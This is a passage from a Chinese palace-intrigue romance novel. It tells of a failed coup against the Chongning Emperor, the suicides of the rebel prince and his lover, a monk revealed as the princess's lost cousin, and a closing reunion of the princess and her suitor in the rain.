“可若是萧长瑾也就罢了,毕竟他是你寄予厚望的长子。可凭什么萧婧华一个小丫头片子也能得你万般宠爱?她要什么你给什么,便是她在你床上撒尿,你也能笑呵呵地抱着她让宫人将被褥给换了。” “我不服!” 书架后,萧婧华整个人僵住了。 陆埕覆在她耳畔,轻声道:“你幼时,的确是有些调皮。” 温热气息绕着耳廓,萧婧华烧红了脸,狠狠拧了把陆埕的手背,警告道:“别出声。” 外间,萧长兴气息逐渐平稳,重新扬起笑,“以前我不明白,后来我懂了,原来我根本就不是你的儿子。端亲王,才是我爹。” 他道:“当初,他与我母妃两情相悦,却被你横插一脚,无奈之下,母妃只能狠心与心上人断情,入宫为妃。” “后来,她被你的妃嫔陷害,阴差阳错与我爹过了一夜,腹中有了我。” “你杀了我爹,冷落我娘,害得她抑郁而终,身为人子,你说,我该不该报仇?” 萧长兴抬头,嘴边笑意僵住。 意料中崇宁帝被气得暴跳如雷的场景并未出现,他的目光很平静,静到方才的话根本不能在他心上留下片刻波澜。 萧长兴大怒,“你为何不怒?” 被自己的亲弟弟撬了墙角,为什么还能保持这副波澜不惊的假象?! 崇宁帝淡淡抬睫,“柔妃嫁入东宫时,朕并不知她已有心上人。” 他是储君,辅佐父皇处理天下大事,后院之事一并由太子妃负责,并不过多询问,对待妻妾亦是雨露均沾。 后院妻妾大多由母后挑选,她并非不通情理的人,倘若柔妃不愿,她绝不会出现在他的东宫。 可谁知就这么巧,柔妃懦弱,不敢与家族对抗,端王亦不敢和他这个兄长相争,阴差阳错的,柔妃成了他的女人。 知晓柔妃丑事时,崇宁帝大怒,恨不得将那个女人碎尸万段,可念着她腹中之子乃皇室血脉,是他亲弟弟的子嗣,他硬是忍了这口气。 他仅有四个弟妹,对端亲王这个弟弟虽不比同母胞弟恭亲王亲昵,但那始终是他的亲弟弟。 他想,一个孩子罢了,若是女孩,将来远远把她嫁出去,若是男孩,给块封地打发出京,眼不见为净。 可就是这一念之差,造成了无法挽回的后果。 孩子们都大了,端亲王不知从何处得知萧长兴乃是他的子嗣,为了他那可笑的深情,抛妻弃子,举兵造反。 得知他为了一个女人弑父杀兄,父皇暴怒后给了他两条路,要么亲手送那个女人去死,要么,他自尽而亡。 他那懦弱了一辈子的弟弟当着他和父皇的面,毫不犹豫引剑自刎。 死前求他,饶柔妃和萧长兴一命。 崇宁帝应了,在父皇面前保下了柔妃母子。 可对他们,他不免心生怨憎,此生再也不想见到这个女人,将她软禁在宫内。 柔妃多思,没多久便抑郁而终。 她死后,念在萧长兴乃是端王弟留在世上的唯一血脉,那些憎恶才渐渐淡了下去。 崇宁帝抬眼,缓慢道:“若非她生下了你,朕即位后,便是一个贵人的封号,也不屑予她。” 萧长兴脸色大变,“你知道,你从始至终就知道!” 崇宁帝目光淡然,“朕知。” “正因朕知,你今日之举,才格外可笑。” “端王弟怯懦愚蠢,为了一个女人自掘坟墓,你的性子虽与他不像,但这拙笨之举,却是一脉相承。” “你闭嘴!” 萧长兴额上青筋暴跳,喘着粗气道:“不,我和他不像。” 他抬头,露出一双猩红的眼,“他失败了,我不会。” “来人!” 殿门“哐”地被人踹开,兵部尚书房兴言领着兵卒入了殿。 人群中,一身白色僧袍的年轻人格外显眼。 视线从殿内扫过,他缓缓一笑,抬步走入角落阴影处,抱着手靠在墙上,神情玩味,似在观赏一出好戏。 萧长兴剑指崇宁帝,面色冷冽,“他日我登大宝,在座诸位均有从龙之功。” “杀!” “登大宝?怕是不行了。” 崇宁帝摇头,长叹一声。 双手扶着桌面,他缓缓站起,一扫方才的颓然,神色肃穆,嗓音冷肃,“你现在收手,朕还能留你一命。” “你没中毒?!”萧长兴脸色大变,神情带了几分慌意,“你怎么会没中毒?” 崇宁帝擦去嘴角血迹,冷冽的目光注视着他,“你,停还是不停?” 事情到了如今的地步,他怎么可能停得下来? 萧长兴咬牙。 崇宁帝冷笑,“怎么,房卿这是要助纣为孽到底了?昔日端王弟的情分,竟能让你冒着诛九族的大罪,助这孽子谋逆?” 他目光扫过萧长兴,“这孽子许诺了你什么?后位?” 房兴言脸颊肉抖动。 “一个后位,竟能让你生出如此贪恋。”崇宁帝讥讽,“没出息的东西。” “房叔,不必再与他多说。”萧长兴道:“就算没中毒又如何?他已是强弩之末,撑不了多久。恭亲王和萧长瑾被拦在殿外,等我取下他的人头,光明正大写下传位诏书,这天下就是我的了。” 房兴言深吸气,目光逐渐转为坚定,沉声道:“好。” 萧长兴掀唇,怒喝道:“杀!” 高贺手臂肌肉绷紧,手中长剑银光颤动。 谢瑛等不下去,动作轻柔地拨开萧婧华,急声道:“在这儿躲好,我去杀敌!” 萧婧华看着她从暗处掠出,长枪挥舞下血流成河。 殿中禁军不多,那些叛军手握精良武器,竟也不比禁军差多少,予安低声道:“郡主,我去帮忙。” 萧婧华闭了闭眼,点头,对觅真道:“让外边的人进来。” 觅真应了,“是。” 她转身折返。 没多久,身后脚步声阵阵如雷响,身着盔甲的兵卒涌入殿内,口中冲杀声不断。 “杀逆贼,护陛下!” “杀逆贼,护陛下!” 觅真拔剑挡在前方,护卫萧婧华的安全。 后脑抵着书架,萧婧华看着人群中厮杀到神色疯癫的萧长兴,轻声道:“那些山匪,是他的人。” “他就这么恨我吗?” 手被人握住,陆埕道:“除了他自己,他谁都恨。” 萧婧华闭眼。 睁眼时,眼中泪意消失无踪,她冷静道:“你去接应太子哥哥吧。” 从萧婧华说出有法子能进入长秋殿起,陆埕便让谢瑛手下的人去通知萧长瑾,如今想来应该快到了。 “那你呢?” “我留在这儿照看皇伯父。”萧婧华偏头,“殿内忽然多出这么多人,他们很快会察觉不对,你速去速回。” 陆埕点头,“好。” 他转身进了密道。 几乎在他身影离开后便有敌军闯了过来,见到立在书架前的萧婧华,当即大喊:“这里有……” 话未出口,觅真身影如电,长剑瞬间割破他的喉咙。 可即便再快,也已经有人被吸引过来。 “这里有人!” 觅真持剑护在萧婧华身前,目光盯着逼近的三名兵卒,“郡主,怎么办?” 萧婧华咬唇。 她身后便是密道,绝对不能让他们发现。 沉了口气,萧婧华忽然大喊:“萧长兴,你混蛋!” 哪怕是在兵器交加的铿锵声中,这一声也分外刺耳,硬生生喊住了三名兵卒的步伐。 崇宁帝一怔。 婧华怎么会在此? 念慈忽然直起身子,面色凝重,暗骂一句。 陆埕干什么吃的?为什么把她带到这儿来了?! 萧长兴长剑翻转,刺伤禁军手臂,怒道:“萧婧华!” 萧婧华接着大骂,“你不仅心眼小还无耻恶毒,就因为嫉妒我得皇伯父宠爱,竟然让山贼将我掳走!还派了个恶心的男人勾搭我,几次三番置我于危险中,不是灯架塌了就是害我的马,害我掉下悬崖,你的心思怎么这么恶毒?!” 萧长兴大怒,“你闭嘴!” “你恼羞成怒了是不是?不让我说,我偏要说!”萧婧华越说越气,“太子哥哥对你不好吗?小时候你不受待见,是他带着我给你送吃的喝的,把欺负你的太监狠狠收拾了一顿,要不是他,你现在还不知道在哪儿呢!萧长兴,你忘恩负义,白眼狼!大街上的狗都比你有良心,起码我喂它吃口饭,它还能叫唤两声!” “房大人,你当心些,他萧长兴连我和太子哥哥都要报复,若他当真登上皇位,不知还会不会允诺你心心念念的后位。” “说不定他早就有喜欢的姑娘,就等着踩着你房家的尸骨捧他真正心仪的人上位!” 手臂被银**过,剧烈刺痛传来,萧长兴面色微白,阴鸷地看着手持长枪的谢瑛。 余光里房兴言面色微变,萧长兴暴怒,“来人,给我把萧婧华拿下!” 崇宁帝急声,“保护郡主。” 觅真眸光冷厉,身形如燕,割开一名兵卒的喉咙,侧头避开迎面冷光,脚下一跃,双腿绞着来人脖颈,狠狠一拧。 “哐当——” 屏风被人一脚踹开,彻底将萧婧华暴露在众人视野中。 姿容明艳的少女肩背挺直,似不屈傲骨,满殿尸骸在她脚下,如黄泉边盛开的靡丽幽灵花。 她下颌轻抬,目光轻蔑,冷冷道:“萧长兴,你可真没骨气。怎么,当着皇伯父的面,你不敢亲自来杀我?” 萧长兴握紧手里的刀,脖子青筋暴起,怒而跃起,“想死,我成全你!” “都滚开!” 他推开兵卒,大步靠近,持剑与觅真交手。 崇宁帝无声叹息。 直到这种时候,竟还能被婧华牵着鼻子走。心性不坚,就算坐拥天下,早晚也是个昏君。 房兴言眸光一暗,在心中骂了一句。 可事情已经到了这种地步,只能硬着头皮走下去。 他定了定神,挥刀砍向高贺。 殿内混战,浓烈的血腥味刺激着鼻腔,令萧婧华格外不适。 萧长兴的功夫确实不错,觅真逐渐不敌,谢瑛见状心中焦急,银枪一挥,喝道:“都给我滚开!” “嘭——” 觅真被击到书架上,长剑脱手,书籍唰唰掉落一地。 她唇角渗出一丝血迹,脸色惨白着挣扎起身。 萧长兴渐已冷静,冰冷目光刺向萧婧华,逐渐向她逼近,“你说,如今我敢不敢杀你?” 萧婧华抿唇,手握成拳。 “你要杀谁?” 身后骤然响起熟悉的声音,萧婧华一喜,“太子哥哥!” 书架后走出一道人影。 萧长瑾身着银甲,手持长剑,缓步踏入殿内。 俊朗五官罕见冷冽,他看着萧长兴,慢慢道:“你方才说,你要杀谁?” “你?!” 萧长兴瞪大眼,瞪向萧婧华,“你方才在拖延时间!” 陆埕走出密道,挡住他看向萧婧华的视线。 萧婧华在他身后翻了个白眼,“是又如何?” 萧长兴握紧剑柄。 他忽然大笑,“行,做个了断也好。今日不是你死就是我活。” “什么死不死的。” 一声巨响,恭亲王立在殿门前,手中拎了个头颅,声如洪钟,“今日本王在,我的女儿,兄长,侄子,一个都不能死。” 萧婧华大喜,“父王!” 恭亲王下意识“诶”了一声,嫌弃扔开头颅。 那脑袋滚啊滚,滚到殿内,露出寇全的脸来。 抹了抹手上的血,恭亲王道:“乖宝,多亏了你送给父王的软甲,否则父王今日就着了这贼子的道了。” 萧婧华分明是欣喜的,可眼中却泛了泪,努力忍着哽咽道:“父王威武!” 从这一刻起,父王的死劫彻底过去了。 有了萧长瑾和恭亲王的加入,局势彻底反转。 萧婧华被陆埕护着来到崇宁帝身边,点了点他脸上残留的血,“皇伯父疼吗?” “不疼。” 崇宁帝笑着摇头,温柔摸着萧婧华脑袋,“平安回来就好。” 萧婧华含泪点头,“是我让皇伯父担心了。” “婧华长大了。” 崇宁帝轻叹,“皇伯父以你为荣。” 萧婧华破涕为笑,骄傲抬起下巴,“我可是琅华郡主,怎么能给萧家丢人呢。” 崇宁帝目光慈爱,笑而不语。 殿内,萧长瑾朗声道:“诸位皆是我大盛子民,今日之举皆是受人蛊惑,孤在此承诺,若尔等缴械投降,孤可禀报陛下从轻发落,若负隅顽抗。” 他眉间冷肃,“定严惩不贷。” 萧长兴怒,“别听他胡说,造反是诛九族的大罪,他萧长瑾怎么会轻易放过!” 萧长瑾不为所动,“孤以储君的名义立誓,尔等若缴械投降,孤定从轻发落。” 书案后,崇宁帝嗓音沉稳,“太子之意,朕允了。” 良久的寂静后,兵器扔在地上发出叮铃哐啷的响声,不少兵卒丢下武器,伏跪在地。 就连房兴言也住了手。 高贺瞬间将剑横放在他颈上。 唯有萧长兴绝不认输。 他已力竭,可手中长剑不断挥舞,始终咬牙坚持着。因崇宁帝并未表态,萧长瑾的人并不敢真正伤他,双方僵持住。 萧婧华脚步挪动。 陆埕抓住她的手,“别去。” “没事。”萧婧华轻轻摇头,“他伤不了我。” 陆埕松了手,跟在她身后。 萧婧华在萧长瑾身旁站定,望着挥剑的萧长兴,面色不解,“我想不通,你有什么可不服的。” “不服皇伯父的忽视?可那是柔妃娘娘不忠在先。为报父母之仇?可端王伯伯反的是谋逆大罪,无论是他还是柔妃娘娘的死,似乎都怪罪不到皇伯父身上。” 这话听着,怎么这么怪异? 萧长瑾拧起眉。 萧婧华又道:“你怨天尤人,恨这个恨那个,可最该恨的,不应当是昀哥哥和端王伯母吗?” “因为自己的父亲和丈夫惦记着别的女人,不顾妻儿安危,犯下谋逆大罪,害得他们无端丧了命。九泉之下的他们不该恨吗?” “相比之下,你已经幸运太多了。” 角落里,转动佛珠的念慈长指一颤。 “倘若端王伯伯当真对柔妃娘娘情根深种,昀哥哥怎么会成为我们这一辈年纪最大的?” 萧长兴红着眼,猛地抬头。 萧长瑾瞳孔微微瞪大。 “你想说是意外?”萧婧华冷笑一声,表露自己的不屑。 “既是不忠,这份深情便格外可笑。” 萧长兴挥开禁军刺来的长剑,胸前剧烈起伏,萧婧华道:“你看,你自己也知晓。” “所以,二皇兄。” 萧婧华轻声问:“你为了什么?” 为了什么? 萧长兴有些恍惚。 最初起兴,只是为了堂堂正正站在她身边,后来得知身份,他心中生了无数怨怼。 假如母妃不曾入宫,他能否光明正大成为端亲王之子? 他能否也如萧长昀、萧婧华一般得父皇疼宠,能在她被家族逼嫁时牵着她的手,带着她走到父母面前,坚定道:“我要娶她。” 他不知道。 经年累月的怨怼中,他开始幻想母妃与端亲王的深情不渝,美化他们的所有经历,哪怕他这个并不光彩的存在,在他幻想中,也是父母深爱的结果。 至于萧长昀,他一遍遍告诉自己,那只是个意外的可怜虫。 他惊才绝艳,备受看重,有他极度渴望又得不到的身世,可那又如何?他只是一个不得父亲疼爱,披着人皮在世间行走的鬼罢了。 面目全非,连自己的名字都丢了。 可即便如此,他依旧控制不住地去恨,恨崇宁帝,恨萧长瑾,恨萧婧华。 这些恨意在眼睁睁看着明月出嫁后达到顶峰。 恨意滋生出了欲望,他疯狂地想坐上那个位置。 崇宁帝杀了他的父母,剥夺了他被爱与爱人的权利,那是他欠他的,他该还。 他在权利的欲海中挣扎,好似忘了,一切的开始,他只是为了那一句…… “阿兴。” 竭力的萧长兴失神抬头。 “郡王妃,您不能进,不能进。” 殿外,一名女子推开守卫,快步走来。 她一身红衣,显得温婉面容竟多了几分明艳之意,眼中看不见任何人,直直向萧长兴走去。 萧长兴蓦地瞪大眼,“你、你怎么来了?不是让你在宫里好好待着?走,快走。” 康郡王妃含泪摇头,“走不掉的,阿兴。” 萧婧华震惊失声,“表嫂?她、他们……” 她忽然忆起,在猎场时,康郡王妃曾送她一枚安神香。 坠马那日,她佩戴的正是那枚香囊。 萧婧华咬住唇,往后退了一步。 手上一片温热,陆埕握住她的手。 康郡王妃走向萧长兴,“我很后悔,当初没能为了你,为了自己拼尽全力反抗。” 当年宫闱之内,家族落败的少女跟随母亲进宫探望身为妃嫔的姨母,和不受宠的皇子不期而遇,生了情愫。 后来,少女被长公主之子看中,爹娘权衡利弊后,同意了这门婚事。 她哭过,闹过,可无济于事,最终还是弃了爱人,高嫁入了长公主府。 崔明月走到单膝跪地的萧长兴面前,抚摸着他的脸,眼中的泪落下,“阿兴,你会认输吗?” 萧长兴看着她,眸底有泪光闪现,“不会。” 她轻轻笑了。 一如初见时他被宫人刁难,独自去到母妃生前的宫殿,难过之时,身后有道轻柔的嗓音问:“你在哭吗?” 一回头,少女站在桂花树下,笑若春风,面如菡萏。 这一眼,令他终身难忘。 “我知你不会认输,所以,我来陪你。” 崔明月轻轻擦去萧长兴脸上的泪,素手覆在他手背上。 她盈泪的眼看着他,一点点取下他手中之剑。 寒光一现,锋利剑刃割过女子柔嫩长颈。 “表嫂!” 萧婧华震惊。 崔明月目光在她身上落了一瞬,鲜血洒落,长剑坠地。 她阖上了眼。 萧长兴颤栗的手接住崔明月的身体,泪水不断坠在她脸上、唇上。 他俯身,当着众人的面,双唇颤抖着,轻轻在她唇上落下一吻。 明月,我终于能光明正大与你在一起。 只是可惜那个孩子…… 拒不认罪的萧长兴拾起长剑,毫不犹豫在脖子上一抹。 竟步了我的后尘。 长剑当啷掉落,两道身影在血泊中紧紧相拥,任何人也无法将他们分离。 谢瑛视线扫过二人,又落在萧长瑾、萧婧华和恭亲王身上,念及远在边关的新昌大长公主,喃喃道:“萧家人,都是些情种。” 此话一出,她自打嘴巴。 把萧长兴和萧婧华几人相比,真是抬举他了。 他不配。 “啪、啪。” 寂静中,有人拊掌叹息,缓步走来,“此情,可叹,可悲。” 停在萧长兴尸首前,他摇头一笑,“可恨。” 萧长瑾眉头一皱,握着剑,直直刺向念慈。 他唇畔含笑,单手缠着佛珠,不躲不避。 眼中不仅没有即将面对死亡的恐惧,甚至含着某种诡异的快意。 不紧不慢,从容以对,欣然赴死。 萧婧华蹙眉。 念慈看来,双眼一弯。 萧婧华此刻才觉,那笑好生眼熟。 记忆深处,好像也有个人曾这么对她笑,那时,他坐在树下,招手唤她过去,递给她一抹绿色。 萧婧华低头,手里仿佛出现了一只草编兔子,活灵活现地与她对视。 “不要!” “婧华!” 陆埕急急出声,萧长瑾仓促收剑,“婧华,他是逆贼,快让开。” “太子哥哥,他不是逆贼。” 萧婧华张手挡在念慈身前,唇瓣轻颤,泪水珠串似的坠落,声若蚊蝇,却清晰地传入三个男人耳中。 “……他是昀哥哥啊。” “哐当——” 萧长瑾手中之剑坠地。 …… “长昀,你可是恨朕?” 念慈跪在殿内,摇头轻笑,“不恨。” 崇宁帝望着下首,这个曾经自己最喜爱的侄子,沉声问:“那你为何助纣为孽?” 念慈抬首,眸光含笑,“我只是,想让他最在意的儿子,走一遍他曾经走过的路。” 与他一样走上谋逆之路,在他即将登上顶峰时,再给他致命一击。 看他半生算计落空,看他彻底疯魔。 看他痛,看他恨,他心里才痛快。 崇宁帝握着杯盏,狠狠朝他掷去,怒道:“你可知,在这场宫变中死了多少人?你有没有想过,他们的父母亲友该是如何心痛?” 茶杯砸在念慈额角,当场出了血,碎响声中,他漠然垂首,“没有。” “他人的生死,与我何干?” “你!” 崇宁帝怒而拍桌。 “皇伯父,您别生气,别生气。” 萧婧华抹去泪水,替崇宁帝抚着胸膛。 “父皇。” 萧长瑾跪在念慈身旁,“昀哥心中有怨,也在情理之中,还望您饶他一回,儿臣定会将他带回东宫严加看管,让他赎罪。” “你给朕闭嘴!” 崇宁帝冷声呵斥,他睨着念慈,“百姓的生死与你无关,那婧华呢?她是你血亲,是你妹妹,你就这么看着萧长兴那个畜生派人将她劫走?” 手臂上缠着绷带,一直沉默的恭亲王拍桌,怒道:“还有这事?长昀,你皇伯父说的可是真的?” 萧婧华泪眼摩挲地看着念慈。 念慈绷着的劲忽然散了一半,低声道:“我不知道。” “……我不知道他们会对婧华动手。” 崇宁帝泄了气,单手揉着额,“这些年,你都做了什么?” 念慈摇头。 他什么也没做,只是告诉萧长兴他的身世,替他选了几个人,出了几条计策。 他游离在外,却又举足轻重。 崇宁帝张唇,“他给朕下的毒,是你换的?” 他的的确确喝下了那杯毒茶,可吐了几口淤血后,胸腔内那股隐痛却散了。 念慈沉默。 崇宁帝也不由缄默。 萧婧华忍着这股令人心惊的寂静,小心翼翼开口,“皇伯父,昀哥哥真的知道错了,您就饶他这次吧,他不会再犯了。” 萧长瑾叩首恳求,“还请父皇,饶昀哥一命。” “皇伯父。” 萧婧华又忍不住掉泪,“他现在和以前生得一点也不一样,也不知吃了多少苦头,您让他去挖矿,修堰,做什么都成,只求您,只求您……” 她抽噎着说:“给他一条活路。” 恭亲王忍不住道:“皇兄,长昀这孩子……终究是……” 终究是端王兄仅存的血脉。 崇宁帝心头一颤,缓缓闭眼。 “囚禁承运寺,为无辜惨死的宫人百姓诵经超度。” “……终生不得踏出一步。” …… 晴了多日的天终于落了雨,雨水从云层降落,洗刷掉所有血气罪恶。 京城又恢复了往日的繁华,店铺重新开张,掌柜的脸上挂着笑,大声吆喝着,哪怕是雨天,依然无法掩盖他的好心情。 一辆华贵马车从城外驶来,两侧侍卫开道,行人纷纷避让。 萧长瑾敲开车窗,对里边的少女道:“孤送你回府。” “不用了。” 萧婧华摇头,“太子哥哥先回宫吧,我还有事。” 萧长瑾挑眉,“行,那孤走了。” “好。” 萧婧华挥手与他告别。 目送萧长瑾离开,她望着朦胧雨幕,忽然起了兴,“给我拿把伞,我下去走走。” 箬兰重伤未愈,随云慕筱回京后仍在休养,箬竹忙着书院事宜,如今跟在她身边的是夏菱。 她有些不放心,“郡主一个人?” “都已经过去了,还怕什么?” 夏菱只好给她拿了伞。 萧婧华撑开伞下了马车。 予安正要跟上,她忙制止,“不用,我单独走走。” 觅真受了伤,今日只有予安一人跟随。 她犹疑片刻,终是点了头。 细雨蒙蒙,雨水从树叶上滚落,没入土壤间。雨中飞鸟穿梭,不见身影,唯留清鸣。 萧婧华撑着伞走过长街,穿过巷子,蓦地驻足。 不远处的柳树前站着一人,手持一把青色油伞,身着月白色长衫,伞檐轻抬,露出清隽眉眼。 眸光清透宁静,仿佛凝在她身上,一动不动。 萧婧华抬步向他走去,“你怎么在这儿?” 陆埕道:“在等你。” “你知道我会来?” “不知。” 萧婧华蹙眉,“那你还等。” 陆埕轻声,“今日端……”停顿片刻,他道:“那位前往承运寺,我想,你应当会来。” 念慈在宫中住了一个月,直到今日,萧长瑾和萧婧华亲自送他去了承运寺。 这一个月里,萧婧华还未见过陆埕的面。 “万一我不来呢?” “那就一直等。” 她气笑了,“我不来,你不会去找我?” 陆埕微怔,神色柔和,“好,那我去找你。” 萧婧华满意了。 细雨氤氲了他的眉眼,添了几分朦胧,她看着他眸底神光,忽然趾高气昂地命令。 “吻我。” “现在?” 陆埕一怔。 “对。” 萧婧华点头,语气坚定,“就在这儿。” 陆埕为难地看着雨中来来往往的行人。 二人目光胶着,片刻后,他妥协了。 手中伞柄一转,连串的雨珠从伞檐滚落,“啪嗒”坠在石板上,打湿了两人的衣摆。 清风吹拂,青草菲菲,陆埕用伞面遮挡住行人视线,把自己暴露在细雨中,接过她手中伞柄,缓缓低头。 他在伞下吻她。 感受着唇上温热,萧婧华闭眼,唇角上扬,单手揪住他胸前衣料。 献我欢喜,既往不咎。